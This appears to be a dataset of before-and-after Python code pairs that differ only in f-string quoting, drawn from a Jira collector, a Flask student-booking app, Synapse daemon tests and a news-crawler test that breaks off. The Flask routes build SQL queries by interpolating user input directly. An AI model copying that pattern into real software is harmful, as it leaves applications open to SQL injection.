def __get_sprint_names(cls, sprint_texts: list[str]) -> str:
"""Parse the sprint name from the sprint text."""
matches = [cls.SPRINT_NAME_RE.search(sprint_text) for sprint_text in sprint_texts]
sprint_names = [match.group(1) for match in matches if match]
return ", ".join(sorted(sprint_names))
| """Jira issues collector."""
import itertools
import re
from base_collectors import SourceCollector
from collector_utilities.type import URL, Value
from model import Entities, Entity, SourceMeasurement, SourceResponses
class JiraIssues(SourceCollector):
"""Jira collector for issues."""
SPRINT_NAME_RE = re.compile(r",name=(.*),startDate=")
MAX_RESULTS = 500 # Maximum number of issues to retrieve per page. Jira allows at most 500.
def __init__(self, *args, **kwargs):
super().__init__(*args, **kwargs)
self._field_ids = {}
async def _api_url(self) -> URL:
"""Extend to get the fields from Jira and create a field name to field id mapping."""
url = await super()._api_url()
fields_url = URL(f"{url}/rest/api/2/field")
response = (await super()._get_source_responses(fields_url))[0]
self._field_ids = {field["name"].lower(): field["id"] for field in await response.json()}
jql = str(self._parameter("jql", quote=True))
fields = self._fields()
return URL(f"{url}/rest/api/2/search?jql={jql}&fields={fields}&maxResults={self.MAX_RESULTS}")
async def _landing_url(self, responses: SourceResponses) -> URL:
"""Extend to add the JQL query to the landing URL."""
url = await super()._landing_url(responses)
jql = str(self._parameter("jql", quote=True))
return URL(f"{url}/issues/?jql={jql}")
def _parameter(self, parameter_key: str, quote: bool = False) -> str | list[str]:
"""Extend to replace field names with field ids, if the parameter is a field."""
parameter_value = super()._parameter(parameter_key, quote)
if parameter_key.endswith("field"):
parameter_value = self._field_ids.get(str(parameter_value).lower(), parameter_value)
return parameter_value
async def _get_source_responses(self, *urls: URL, **kwargs) -> SourceResponses:
"""Extend to implement pagination."""
all_responses = SourceResponses(api_url=urls[0])
for start_at in itertools.count(0, self.MAX_RESULTS): # pragma: no cover
responses = await super()._get_source_responses(URL(f"{urls[0]}&startAt={start_at}"), **kwargs)
if issues := await self._issues(responses):
all_responses.extend(responses)
if len(issues) < self.MAX_RESULTS:
break # We got fewer than the maximum number of issues per page, so we know we're done
return all_responses
async def _parse_source_responses(self, responses: SourceResponses) -> SourceMeasurement:
"""Override to get the issues from the responses."""
url = URL(str(self._parameter("url")))
issues = await self._issues(responses)
entities = Entities(self._create_entity(issue, url) for issue in issues if self._include_issue(issue))
return SourceMeasurement(value=self._compute_value(entities), entities=entities)
@staticmethod
async def _issues(responses: SourceResponses):
"""Return the issues from the responses."""
issues = []
for response in responses:
json = await response.json()
issues.extend(json.get("issues", []))
return issues
@classmethod
def _compute_value(cls, entities: Entities) -> Value: # pylint: disable=unused-argument
"""Allow subclasses to compute the value from the entities."""
return None
def _create_entity(self, issue: dict, url: URL) -> Entity: # pylint: disable=no-self-use
"""Create an entity from a Jira issue."""
# Jira issues have a key and an id. The key consist of the project code and a number, e.g. FOO-42. This means
# the issue key changes when the issue is moved to another project. The id is an internal key and does not
# change. Hence, we display the issue key in the UI (issue_key below) but use the id as entity key. This makes
# sure that when users mark an issue as false positive, it remains false positive even the issue is moved to
# another project and the issue key changes.
fields = issue["fields"]
entity_attributes = dict(
issue_key=issue["key"],
created=fields["created"],
priority=fields.get("priority", {}).get("name"),
status=fields.get("status", {}).get("name"),
summary=fields["summary"],
type=fields.get("issuetype", {}).get("name", "Unknown issue type"),
updated=fields.get("updated"),
url=f"{url}/browse/{issue['key']}",
)
if sprint_field_id := self._field_ids.get("sprint"):
entity_attributes["sprint"] = self.__get_sprint_names(fields.get(sprint_field_id) or [])
return Entity(key=issue["id"], **entity_attributes)
def _include_issue(self, issue: dict) -> bool: # pylint: disable=no-self-use,unused-argument
"""Return whether this issue should be counted."""
return True
def _fields(self) -> str: # pylint: disable=no-self-use
"""Return the fields to get from Jira."""
sprint_field_id = self._field_ids.get("sprint")
return "issuetype,summary,created,updated,status,priority" + (f",{sprint_field_id}" if sprint_field_id else "")
@classmethod
def __get_sprint_names(cls, sprint_texts: list[str]) -> str:
"""Parse the sprint name from the sprint text."""
matches = [cls.SPRINT_NAME_RE.search(sprint_text) for sprint_text in sprint_texts]
sprint_names = [match.group(1) for match in matches if match]
return ", ".join(sorted(sprint_names))
|
# tullinge/booking
# https://github.com/tullinge/booking
# imports
from flask import Blueprint, render_template, redirect, request, session, jsonify
# components import
from components.decorators import (
login_required,
user_setup_completed,
user_not_setup,
booking_blocked,
)
from components.core import basic_validation, calculate_available_spaces
from components.google import GSUITE_DOMAIN_NAME, google_login
from components.validation import valid_integer, valid_string
from components.student import student_chosen_activity
from components.db import sql_query, dict_sql_query
from components.limiter_obj import limiter
# blueprint init
student_routes = Blueprint("student_routes", __name__, template_folder="../templates")
# index
@student_routes.route("/")
@booking_blocked
@login_required
@user_setup_completed
def index():
"""
Student index
* list available activities (GET)
- along with information about them (also how many spaces available)
"""
chosen_activity = student_chosen_activity()
activities = []
for activity in dict_sql_query("SELECT * FROM activities"):
activities.append(
{
"activity": activity,
"available_spaces": calculate_available_spaces(activity["id"]),
}
)
return render_template(
"student/index.html",
fullname=session.get("fullname"),
school_class=session.get("school_class"),
activities=activities,
chosen_activity=chosen_activity,
)
# login
@student_routes.route("/login")
@limiter.limit("200 per hour")
def students_login():
return render_template("student/login.html")
@student_routes.route("/callback", methods=["POST"])
@booking_blocked
def students_callback():
if not request.get_json("idtoken"):
return (
jsonify({"status": False, "code": 400, "message": "missing form data"}),
400,
)
# verify using separate module
google = google_login(request.json["idtoken"], GSUITE_DOMAIN_NAME)
if not google["status"]:
return google["resp"]
data = google["resp"]["data"]
idinfo = google["resp"]["idinfo"]
existing_student = dict_sql_query(
f"SELECT * FROM students WHERE email='{data["email"]}'", fetchone=True
)
# check if email exists in students
if not existing_student:
# create new object
sql_query(
f"INSERT INTO students (email, last_name, first_name) VALUES ('{data["email"]}', '{data["family_name"]}', '{data["given_name"]}')"
)
existing_student = dict_sql_query(
f"SELECT * FROM students WHERE email='{data["email"]}'", fetchone=True
)
school_class = None
if existing_student["class_id"]:
school_class = dict_sql_query(
f"SELECT class_name FROM school_classes WHERE id={existing_student["class_id"]}",
fetchone=True,
)["class_name"]
session["fullname"] = f"{data["given_name"]} {data["family_name"]}"
session["logged_in"] = True
session["picture_url"] = idinfo["picture"]
session["id"] = existing_student["id"]
session["school_class"] = school_class
return jsonify({"status": True, "code": 200, "message": "authenticated"}), 400
@student_routes.route("/callback/error", methods=["POST"])
def callback_error():
return render_template(
"callback_error.html", message=request.form.get("message"), redirect_basepath=""
)
# logout
@student_routes.route("/logout")
@login_required
def logout():
"""
Student logout
* destory user session (GET)
"""
session.pop("logged_in", False)
session.pop("id", None)
session.pop("school_class", None)
return redirect("/login")
# setup
@student_routes.route("/setup", methods=["POST", "GET"])
@limiter.limit("500 per hour")
@booking_blocked
@login_required
@user_not_setup
def setup():
"""
Student setup
* only show page if student has not yet configured it's user (GET)
* add first_name, last_name and school_class to student object (POST)
"""
template = "student/setup.html"
if request.method == "GET":
return render_template(template)
elif request.method == "POST":
expected_values = ["join_code"]
if not basic_validation(expected_values):
return render_template(template, fail="Saknar/felaktig data.")
join_code = request.form["join_code"]
if len(join_code) != 8:
return render_template(template, fail="Fel längd på kod."), 40
# make sure to validate input variables against string authentication
if not valid_string(
join_code,
allow_newline=False,
allow_punctuation=False,
allow_space=False,
):
return (
render_template(
template,
fail="Icke tillåtna karaktärer.",
),
400,
)
# verify code
school_class = dict_sql_query(
f"SELECT * FROM school_classes WHERE password='{join_code}'", fetchone=True
)
if not school_class:
return (
render_template(
template,
fail="Felaktig kod.",
),
400,
)
# passed validation, update user variables
sql_query(
f"UPDATE students SET class_id={school_class["id"]} WHERE id={session["id"]}"
)
# set school_class
session["school_class"] = school_class["class_name"]
# redirect to index
return redirect("/")
# selected activity
@student_routes.route("/activity/<id>", methods=["POST", "GET"])
@limiter.limit("500 per hour")
@booking_blocked
@login_required
@user_setup_completed
def selected_activity(id):
"""
Selected activity
* show activity information (GET)
* book student to activity, if available spaces are still left (POST)
"""
if not valid_integer(id):
return (
render_template(
"errors/custom.html", title="400", message="ID is not integer."
),
400,
)
activity = dict_sql_query(f"SELECT * FROM activities WHERE id={id}", fetchone=True)
if not activity:
return (
render_template(
"errors/custom.html", title="400", message="Activity dose not exist."
),
400,
)
# check if activity has questions
query = dict_sql_query(f"SELECT * FROM questions WHERE activity_id={id}")
questions = []
if query:
# loops query to add each options for questions into list
for question in query:
questions.append(
{
"info": question,
"options": dict_sql_query(
f"SELECT * FROM options WHERE question_id={question["id"]}"
),
}
)
if request.method == "GET":
return render_template(
"student/activity.html",
activity=activity,
fullname=session.get("fullname"),
school_class=session.get("school_class"),
questions=questions,
available_spaces=calculate_available_spaces(id),
)
if request.method == "POST":
for k, v in request.form.items():
if not valid_integer(k):
return (
render_template(
"student/activity.html",
activity=activity,
fullname=session.get("fullname"),
school_class=session.get("school_class"),
questions=questions,
available_spaces=calculate_available_spaces(id),
fail="Felaktigt skickad data.",
),
400,
)
question = dict_sql_query(
f"SELECT * FROM questions WHERE id={k}", fetchone=True
)
if not question:
return (
render_template(
"student/activity.html",
activity=activity,
fullname=session.get("fullname"),
school_class=session.get("school_class"),
questions=questions,
available_spaces=calculate_available_spaces(id),
fail="Fråga existerar inte.",
),
400,
)
if not v and bool(question["obligatory"]):
return (
render_template(
"student/activity.html",
activity=activity,
fullname=session.get("fullname"),
school_class=session.get("school_class"),
questions=questions,
available_spaces=calculate_available_spaces(id),
fail="Saknar data.",
),
400,
)
if not valid_string(
k,
max_length=50,
ignore_undefined=True,
allow_newline=False,
allow_punctuation=False,
allow_space=False,
swedish=False,
) or not valid_string(
v, max_length=50, ignore_undefined=True, allow_newline=False
):
return (
render_template(
"student/activity.html",
activity=activity,
fullname=session.get("fullname"),
school_class=session.get("school_class"),
questions=questions,
available_spaces=calculate_available_spaces(id),
fail="Innehåller ogiltiga tecken/för långa svar.",
),
400,
)
if len(request.form) < len(
dict_sql_query(f"SELECT * FROM questions WHERE activity_id={id}")
):
return (
render_template(
"student/activity.html",
activity=activity,
fullname=session.get("fullname"),
school_class=session.get("school_class"),
questions=questions,
available_spaces=calculate_available_spaces(id),
fail="Saknar svar på frågor.",
),
400,
)
# check if it still has available_spaces
if calculate_available_spaces(id) < 1:
return (
render_template(
"student/activity.html",
activity=activity,
fullname=session.get("fullname"),
school_class=session.get("school_class"),
questions=questions,
available_spaces=calculate_available_spaces(id),
fail="Denna aktivitet har inga lediga platser.",
),
400,
)
# delete any previous answers this user has submitted
sql_query(f"DELETE FROM answers WHERE student_id={session.get("id")}")
# validation completed
for question_id, answer in request.form.items():
# check if question is of type written or not
question = sql_query(f"SELECT * FROM questions WHERE id={question_id}")[0]
if question[3]:
# written answers
sql_query(
f"INSERT INTO answers (student_id, question_id, written_answer) VALUES ({session.get("id")}, {question_id}, '{str(answer)}');"
)
else:
# option
sql_query(
f"INSERT INTO answers (student_id, question_id, option_id) VALUES ({session.get("id")}, {question_id}, {answer});"
)
# set chosen_activity
sql_query(
f"""
UPDATE students
SET chosen_activity={int(id)}
WHERE id={session.get('id')}
"""
)
return redirect("/confirmation")
# confirmation
@student_routes.route("/confirmation")
@limiter.limit("500 per hour")
@booking_blocked
@login_required
@user_setup_completed
def confirmation():
"""
Confirmation page
* confirm the students new booking (GET)
"""
chosen_activity = student_chosen_activity()
answers = dict_sql_query(
f"SELECT * FROM answers WHERE student_id={session.get("id")}"
)
if chosen_activity:
questions = []
for q in dict_sql_query(
f"SELECT * FROM questions WHERE activity_id={chosen_activity["id"]}"
):
questions.append(
{
"object": q,
"options": dict_sql_query(
f"SELECT * FROM options WHERE question_id={q["id"]}"
),
}
)
return (
render_template(
"student/confirmation.html",
fullname=session.get("fullname"),
school_class=session.get("school_class"),
chosen_activity=chosen_activity,
answers=answers,
questions=questions,
)
if chosen_activity
else render_template(
"errors/custom.html",
title="400",
message="Student has not chosen an activity.",
),
400,
)
| # tullinge/booking
# https://github.com/tullinge/booking
# imports
from flask import Blueprint, render_template, redirect, request, session, jsonify
# components import
from components.decorators import (
login_required,
user_setup_completed,
user_not_setup,
booking_blocked,
)
from components.core import basic_validation, calculate_available_spaces
from components.google import GSUITE_DOMAIN_NAME, google_login
from components.validation import valid_integer, valid_string
from components.student import student_chosen_activity
from components.db import sql_query, dict_sql_query
from components.limiter_obj import limiter
# blueprint init
student_routes = Blueprint("student_routes", __name__, template_folder="../templates")
# index
@student_routes.route("/")
@booking_blocked
@login_required
@user_setup_completed
def index():
"""
Student index
* list available activities (GET)
- along with information about them (also how many spaces available)
"""
chosen_activity = student_chosen_activity()
activities = []
for activity in dict_sql_query("SELECT * FROM activities"):
activities.append(
{
"activity": activity,
"available_spaces": calculate_available_spaces(activity["id"]),
}
)
return render_template(
"student/index.html",
fullname=session.get("fullname"),
school_class=session.get("school_class"),
activities=activities,
chosen_activity=chosen_activity,
)
# login
@student_routes.route("/login")
@limiter.limit("200 per hour")
def students_login():
return render_template("student/login.html")
@student_routes.route("/callback", methods=["POST"])
@booking_blocked
def students_callback():
if not request.get_json("idtoken"):
return (
jsonify({"status": False, "code": 400, "message": "missing form data"}),
400,
)
# verify using separate module
google = google_login(request.json["idtoken"], GSUITE_DOMAIN_NAME)
if not google["status"]:
return google["resp"]
data = google["resp"]["data"]
idinfo = google["resp"]["idinfo"]
existing_student = dict_sql_query(
f"SELECT * FROM students WHERE email='{data['email']}'", fetchone=True
)
# check if email exists in students
if not existing_student:
# create new object
sql_query(
f"INSERT INTO students (email, last_name, first_name) VALUES ('{data['email']}', '{data['family_name']}', '{data['given_name']}')"
)
existing_student = dict_sql_query(
f"SELECT * FROM students WHERE email='{data['email']}'", fetchone=True
)
school_class = None
if existing_student["class_id"]:
school_class = dict_sql_query(
f"SELECT class_name FROM school_classes WHERE id={existing_student['class_id']}",
fetchone=True,
)["class_name"]
session["fullname"] = f"{data['given_name']} {data['family_name']}"
session["logged_in"] = True
session["picture_url"] = idinfo["picture"]
session["id"] = existing_student["id"]
session["school_class"] = school_class
return jsonify({"status": True, "code": 200, "message": "authenticated"}), 400
@student_routes.route("/callback/error", methods=["POST"])
def callback_error():
return render_template(
"callback_error.html", message=request.form.get("message"), redirect_basepath=""
)
# logout
@student_routes.route("/logout")
@login_required
def logout():
"""
Student logout
* destory user session (GET)
"""
session.pop("logged_in", False)
session.pop("id", None)
session.pop("school_class", None)
return redirect("/login")
# setup
@student_routes.route("/setup", methods=["POST", "GET"])
@limiter.limit("500 per hour")
@booking_blocked
@login_required
@user_not_setup
def setup():
"""
Student setup
* only show page if student has not yet configured it's user (GET)
* add first_name, last_name and school_class to student object (POST)
"""
template = "student/setup.html"
if request.method == "GET":
return render_template(template)
elif request.method == "POST":
expected_values = ["join_code"]
if not basic_validation(expected_values):
return render_template(template, fail="Saknar/felaktig data.")
join_code = request.form["join_code"]
if len(join_code) != 8:
return render_template(template, fail="Fel längd på kod."), 40
# make sure to validate input variables against string authentication
if not valid_string(
join_code,
allow_newline=False,
allow_punctuation=False,
allow_space=False,
):
return (
render_template(
template,
fail="Icke tillåtna karaktärer.",
),
400,
)
# verify code
school_class = dict_sql_query(
f"SELECT * FROM school_classes WHERE password='{join_code}'", fetchone=True
)
if not school_class:
return (
render_template(
template,
fail="Felaktig kod.",
),
400,
)
# passed validation, update user variables
sql_query(
f"UPDATE students SET class_id={school_class['id']} WHERE id={session['id']}"
)
# set school_class
session["school_class"] = school_class["class_name"]
# redirect to index
return redirect("/")
# selected activity
@student_routes.route("/activity/<id>", methods=["POST", "GET"])
@limiter.limit("500 per hour")
@booking_blocked
@login_required
@user_setup_completed
def selected_activity(id):
"""
Selected activity
* show activity information (GET)
* book student to activity, if available spaces are still left (POST)
"""
if not valid_integer(id):
return (
render_template(
"errors/custom.html", title="400", message="ID is not integer."
),
400,
)
activity = dict_sql_query(f"SELECT * FROM activities WHERE id={id}", fetchone=True)
if not activity:
return (
render_template(
"errors/custom.html", title="400", message="Activity dose not exist."
),
400,
)
# check if activity has questions
query = dict_sql_query(f"SELECT * FROM questions WHERE activity_id={id}")
questions = []
if query:
# loops query to add each options for questions into list
for question in query:
questions.append(
{
"info": question,
"options": dict_sql_query(
f"SELECT * FROM options WHERE question_id={question['id']}"
),
}
)
if request.method == "GET":
return render_template(
"student/activity.html",
activity=activity,
fullname=session.get("fullname"),
school_class=session.get("school_class"),
questions=questions,
available_spaces=calculate_available_spaces(id),
)
if request.method == "POST":
for k, v in request.form.items():
if not valid_integer(k):
return (
render_template(
"student/activity.html",
activity=activity,
fullname=session.get("fullname"),
school_class=session.get("school_class"),
questions=questions,
available_spaces=calculate_available_spaces(id),
fail="Felaktigt skickad data.",
),
400,
)
question = dict_sql_query(
f"SELECT * FROM questions WHERE id={k}", fetchone=True
)
if not question:
return (
render_template(
"student/activity.html",
activity=activity,
fullname=session.get("fullname"),
school_class=session.get("school_class"),
questions=questions,
available_spaces=calculate_available_spaces(id),
fail="Fråga existerar inte.",
),
400,
)
if not v and bool(question["obligatory"]):
return (
render_template(
"student/activity.html",
activity=activity,
fullname=session.get("fullname"),
school_class=session.get("school_class"),
questions=questions,
available_spaces=calculate_available_spaces(id),
fail="Saknar data.",
),
400,
)
if not valid_string(
k,
max_length=50,
ignore_undefined=True,
allow_newline=False,
allow_punctuation=False,
allow_space=False,
swedish=False,
) or not valid_string(
v, max_length=50, ignore_undefined=True, allow_newline=False
):
return (
render_template(
"student/activity.html",
activity=activity,
fullname=session.get("fullname"),
school_class=session.get("school_class"),
questions=questions,
available_spaces=calculate_available_spaces(id),
fail="Innehåller ogiltiga tecken/för långa svar.",
),
400,
)
if len(request.form) < len(
dict_sql_query(f"SELECT * FROM questions WHERE activity_id={id}")
):
return (
render_template(
"student/activity.html",
activity=activity,
fullname=session.get("fullname"),
school_class=session.get("school_class"),
questions=questions,
available_spaces=calculate_available_spaces(id),
fail="Saknar svar på frågor.",
),
400,
)
# check if it still has available_spaces
if calculate_available_spaces(id) < 1:
return (
render_template(
"student/activity.html",
activity=activity,
fullname=session.get("fullname"),
school_class=session.get("school_class"),
questions=questions,
available_spaces=calculate_available_spaces(id),
fail="Denna aktivitet har inga lediga platser.",
),
400,
)
# delete any previous answers this user has submitted
sql_query(f"DELETE FROM answers WHERE student_id={session.get('id')}")
# validation completed
for question_id, answer in request.form.items():
# check if question is of type written or not
question = sql_query(f"SELECT * FROM questions WHERE id={question_id}")[0]
if question[3]:
# written answers
sql_query(
f"INSERT INTO answers (student_id, question_id, written_answer) VALUES ({session.get('id')}, {question_id}, '{str(answer)}');"
)
else:
# option
sql_query(
f"INSERT INTO answers (student_id, question_id, option_id) VALUES ({session.get('id')}, {question_id}, {answer});"
)
# set chosen_activity
sql_query(
f"""
UPDATE students
SET chosen_activity={int(id)}
WHERE id={session.get('id')}
"""
)
return redirect("/confirmation")
# confirmation
@student_routes.route("/confirmation")
@limiter.limit("500 per hour")
@booking_blocked
@login_required
@user_setup_completed
def confirmation():
"""
Confirmation page
* confirm the students new booking (GET)
"""
chosen_activity = student_chosen_activity()
answers = dict_sql_query(
f"SELECT * FROM answers WHERE student_id={session.get('id')}"
)
if chosen_activity:
questions = []
for q in dict_sql_query(
f"SELECT * FROM questions WHERE activity_id={chosen_activity['id']}"
):
questions.append(
{
"object": q,
"options": dict_sql_query(
f"SELECT * FROM options WHERE question_id={q['id']}"
),
}
)
return (
render_template(
"student/confirmation.html",
fullname=session.get("fullname"),
school_class=session.get("school_class"),
chosen_activity=chosen_activity,
answers=answers,
questions=questions,
)
if chosen_activity
else render_template(
"errors/custom.html",
title="400",
message="Student has not chosen an activity.",
),
400,
)
|
import asyncio
import synapse.lib.cell as s_cell
import synapse.lib.coro as s_coro
import synapse.lib.stormsvc as s_stormsvc
import synapse.exc as s_exc
import synapse.common as s_common
import synapse.daemon as s_daemon
import synapse.telepath as s_telepath
import synapse.tests.utils as s_t_utils
class Foo:
def woot(self):
return 10
class DaemonTest(s_t_utils.SynTest):
async def test_unixsock_longpath(self):
# Explicit failure for starting a daemon with a path too deep
# this also covers a cell failure case since the cell may start
# a daemon.
# This fails because of limitations onf the path length for a UNIX
# socket being no greater than what may be stored in a mbuf.
# The maximum length is OS dependent; with Linux using 108 characters
# and BSD's using 104.
with self.getTestDir() as dirn:
extrapath = 108 * 'A'
longdirn = s_common.genpath(dirn, extrapath)
listpath = f'unix://{s_common.genpath(longdirn, 'sock')}'
with self.getAsyncLoggerStream('synapse.daemon',
'exceeds OS supported UNIX socket path length') as stream:
async with await s_daemon.Daemon.anit() as dmon:
with self.raises(OSError):
await dmon.listen(listpath)
self.true(await stream.wait(1))
async def test_dmon_ready(self):
async with await s_daemon.Daemon.anit() as dmon:
host, port = await dmon.listen('tcp://127.0.0.1:0')
dmon.share('foo', Foo())
async with await s_telepath.openurl(f'tcp://127.0.0.1:{port}/foo') as foo:
self.eq(10, await foo.woot())
await dmon.setReady(False)
await foo.waitfini(timeout=2)
self.true(foo.isfini)
with self.raises(s_exc.LinkShutDown):
async with await s_telepath.openurl(f'tcp://127.0.0.1:{port}/foo') as foo:
pass
class SvcApi(s_cell.CellApi, s_stormsvc.StormSvc):
_storm_svc_name = 'foo'
_storm_svc_pkgs = ( # type: ignore
{
'name': 'foo',
'version': (0, 0, 1),
'modules': (
{
'name': 'foo.mod',
'storm': '''
$x = (3)
function run_all() {
for $item in $lib.service.get($modconf.svciden).run() {
{}
}
return ($lib.null)
}
function run_break() {
for $i in $lib.service.get($modconf.svciden).run() {
if ($i > $x) { return($lib.null) }
}
return($lib.null)
}
function run_err() {
for $i in $lib.service.get($modconf.svciden).run() {
if ($i > $x) { [inet:newp=3] }
}
return($lib.null)
}
'''
},
),
},
)
async def run(self):
async for item in self.cell.run():
yield item
class Svc(s_cell.Cell):
cellapi = SvcApi
async def initServiceStorage(self):
self.events = []
async def run(self):
event = asyncio.Event()
self.events.append(event)
try:
for i in range(100):
yield i
await asyncio.sleep(0)
finally:
event.set()
class GenrCloseTest(s_t_utils.SynTest):
async def test_close(self):
async with self.getTestCoreProxSvc(Svc) as (core, core_prox, svc):
# storm exits early
await core.stormlist('$lib.import(foo.mod).run_break()')
self.true(await s_coro.event_wait(svc.events[0], timeout=1))
# storm raises part way through iterating
await core.stormlist('$lib.import(foo.mod).run_err()')
self.true(await s_coro.event_wait(svc.events[1], timeout=1))
# storm normal case
await core.stormlist('$lib.import(foo.mod).run_all()')
self.true(await s_coro.event_wait(svc.events[2], timeout=1))
async with svc.getLocalProxy() as svc_prox:
# telepath exits early
async for i in svc_prox.run():
if i > 3:
break
self.true(await s_coro.event_wait(svc.events[3], timeout=1))
# telepath normal case
async for i in svc_prox.run():
pass
self.true(await s_coro.event_wait(svc.events[4], timeout=1))
# python
async for i in svc.run():
if i > 3:
break
self.true(await s_coro.event_wait(svc.events[5], timeout=1))
| import asyncio
import synapse.lib.cell as s_cell
import synapse.lib.coro as s_coro
import synapse.lib.stormsvc as s_stormsvc
import synapse.exc as s_exc
import synapse.common as s_common
import synapse.daemon as s_daemon
import synapse.telepath as s_telepath
import synapse.tests.utils as s_t_utils
class Foo:
def woot(self):
return 10
class DaemonTest(s_t_utils.SynTest):
async def test_unixsock_longpath(self):
# Explicit failure for starting a daemon with a path too deep
# this also covers a cell failure case since the cell may start
# a daemon.
# This fails because of limitations onf the path length for a UNIX
# socket being no greater than what may be stored in a mbuf.
# The maximum length is OS dependent; with Linux using 108 characters
# and BSD's using 104.
with self.getTestDir() as dirn:
extrapath = 108 * 'A'
longdirn = s_common.genpath(dirn, extrapath)
listpath = f'unix://{s_common.genpath(longdirn, "sock")}'
with self.getAsyncLoggerStream('synapse.daemon',
'exceeds OS supported UNIX socket path length') as stream:
async with await s_daemon.Daemon.anit() as dmon:
with self.raises(OSError):
await dmon.listen(listpath)
self.true(await stream.wait(1))
async def test_dmon_ready(self):
async with await s_daemon.Daemon.anit() as dmon:
host, port = await dmon.listen('tcp://127.0.0.1:0')
dmon.share('foo', Foo())
async with await s_telepath.openurl(f'tcp://127.0.0.1:{port}/foo') as foo:
self.eq(10, await foo.woot())
await dmon.setReady(False)
await foo.waitfini(timeout=2)
self.true(foo.isfini)
with self.raises(s_exc.LinkShutDown):
async with await s_telepath.openurl(f'tcp://127.0.0.1:{port}/foo') as foo:
pass
class SvcApi(s_cell.CellApi, s_stormsvc.StormSvc):
_storm_svc_name = 'foo'
_storm_svc_pkgs = ( # type: ignore
{
'name': 'foo',
'version': (0, 0, 1),
'modules': (
{
'name': 'foo.mod',
'storm': '''
$x = (3)
function run_all() {
for $item in $lib.service.get($modconf.svciden).run() {
{}
}
return ($lib.null)
}
function run_break() {
for $i in $lib.service.get($modconf.svciden).run() {
if ($i > $x) { return($lib.null) }
}
return($lib.null)
}
function run_err() {
for $i in $lib.service.get($modconf.svciden).run() {
if ($i > $x) { [inet:newp=3] }
}
return($lib.null)
}
'''
},
),
},
)
async def run(self):
async for item in self.cell.run():
yield item
class Svc(s_cell.Cell):
cellapi = SvcApi
async def initServiceStorage(self):
self.events = []
async def run(self):
event = asyncio.Event()
self.events.append(event)
try:
for i in range(100):
yield i
await asyncio.sleep(0)
finally:
event.set()
class GenrCloseTest(s_t_utils.SynTest):
async def test_close(self):
async with self.getTestCoreProxSvc(Svc) as (core, core_prox, svc):
# storm exits early
await core.stormlist('$lib.import(foo.mod).run_break()')
self.true(await s_coro.event_wait(svc.events[0], timeout=1))
# storm raises part way through iterating
await core.stormlist('$lib.import(foo.mod).run_err()')
self.true(await s_coro.event_wait(svc.events[1], timeout=1))
# storm normal case
await core.stormlist('$lib.import(foo.mod).run_all()')
self.true(await s_coro.event_wait(svc.events[2], timeout=1))
async with svc.getLocalProxy() as svc_prox:
# telepath exits early
async for i in svc_prox.run():
if i > 3:
break
self.true(await s_coro.event_wait(svc.events[3], timeout=1))
# telepath normal case
async for i in svc_prox.run():
pass
self.true(await s_coro.event_wait(svc.events[4], timeout=1))
# python
async for i in svc.run():
if i > 3:
break
self.true(await s_coro.event_wait(svc.events[5], timeout=1))
|
# encoding=utf-8
# Author: Yu-Lun Chiang
# Description: Test NewsCrawler
import logging
import pytest
from collections import namedtuple
from Sanga.media import ftvnews
from Sanga.struct import NewsStruct
logger = logging.getLogger(__name__)
TEST_DATA = namedtuple(
typename="TEST_DATA",
field_names=[
"name",
"link",
"expected_output",
],
)
TEST_DATA_1 = TEST_DATA(
name="民視新聞_1",
link="https://www.ftvnews.com.tw/news/detail/2021713W0276",
expected_output=NewsStruct(
title="解封概念股提早佈局！專家：留意「3大族群」起漲順序是重點",
content="\n李永年表示，解封概念股有3大族群可以提前布局，分別是餐飲業、飯店業、旅遊業，這也分別是它們的起漲順序，雖然目前還在三級警戒，不過當警戒一解除，民眾能做的也是最簡單的事情就是到餐廳和親朋好友聚餐，再來才是飯店業，最後才是旅遊業，主要原因是台灣大部分的上市櫃旅行社都主攻國外旅遊市場，所以如果要等全球完全解封可能還有一段時間。第一波以「餐飲業」來看，投資人可以留意王品（2727）、瓦城（2729）以及經營85度C的美食-KY（2723）。（資料照／民視新聞）李永年指出，第一波以「餐飲業」來看，投資人可以留意王品（2727）、瓦城（2729）以及經營85度C的美食-KY（2723），會說美食-KY最主要是因為，85度C在美國與中國的營收相對穩定，門市來客數連5月走揚，雖然台灣實施三級警戒，但85度C在台灣的產品結構下有不少是來自蛋糕及麵包，影響相對來說較能受控制，所以復甦能力好，往後的基本面較能持續穩健。另外，第二波起漲的概念股就是「飯店業」，尤其是旗下既有飯店又有遊樂設施的六福（2705）、劍湖山（5701）等公司，會是民眾的首選，在股市的走勢也會比較吃香。而最後一波起漲的概念股，就是民眾最期盼能出國的「旅遊業」，李永年指出，像是雄獅（2731）、鳳凰（5706）等，不過全球疫情尚未平穩，短期之內沒辦法看得非常樂觀，加上台灣疫苗覆蓋率還未達到目標，國內旅遊也還沒能真正的解封，建議投資人先觀望，待台灣民眾大多都已完成疫苗接種時，可以再進場也不遲。《民視新聞網》提醒您：內容僅供參考，投資人於決策時應審慎評估風險，並就投資結果自行負責。\n",
keywords=["財經", "微解封", "解封概念股", "餐飲", "飯店", "旅遊", "台股"],
category="財經",
media="民視新聞",
datetime="2021-07-13T18:29:17+08:00",
link="https://www.ftvnews.com.tw/news/detail/2021713W0276",
),
)
TEST_DATA_2 = TEST_DATA(
name="民視新聞_2",
link="https://www.ftvnews.com.tw/news/detail/2021721W0079",
expected_output=NewsStruct(
title="MCU市況續熱 新唐盤中漲停創新天價",
content="\n受惠家電等市場需求強勁，加上晶圓代工與後段封測產能吃緊，第3季MCU市場依然維持供不應求態勢，產品價格也隨著成本增加不斷上漲。新唐（4919）等MCU族群在市場資金湧入下，推升股價紛紛走高，其中， 新唐股價強攻漲停，達新台幣147.5元，創新天價。至10時15分，凌通（4952）股價一度達94.3元，應廣（6716）達232元，九齊（6494）也達179元，同創歷史新高價。盛群（6202）股價一度漲停，達149元，逼近歷史最高價149.5元。其餘松翰（5471）與紘康（6457）今天股價也有不錯表現，松翰一度達119元，漲10元，漲幅逾9%，創近14年新高價。紘康一度達167元，漲8元，漲幅逾5%。（中央社）\n",
keywords=["微控制器", "財經", "MCU", "新唐", "凌通", "應廣", "九齊", "盛群"],
category="財經",
media="民視新聞",
datetime="2021-07-21T10:53:11+08:00",
link="https://www.ftvnews.com.tw/news/detail/2021721W0079",
),
)
TEST_DATA_LIST = [TEST_DATA_1, TEST_DATA_2]
@pytest.fixture(scope="module")
def newsCrawler():
logger.warning("Init News Crawler ...")
return ftvnews.FTVNews()
@pytest.mark.parametrize(
argnames="name, link, expected_output",
argvalues=[tuple(t) for t in TEST_DATA_LIST],
ids=[
f"{t.name}, {t.link[:50]+"..." if len(t.link) > 50 else t.link}"
for t in TEST_DATA_LIST
],
)
def test_get_info(
newsCrawler,
name,
link,
expected_output,
):
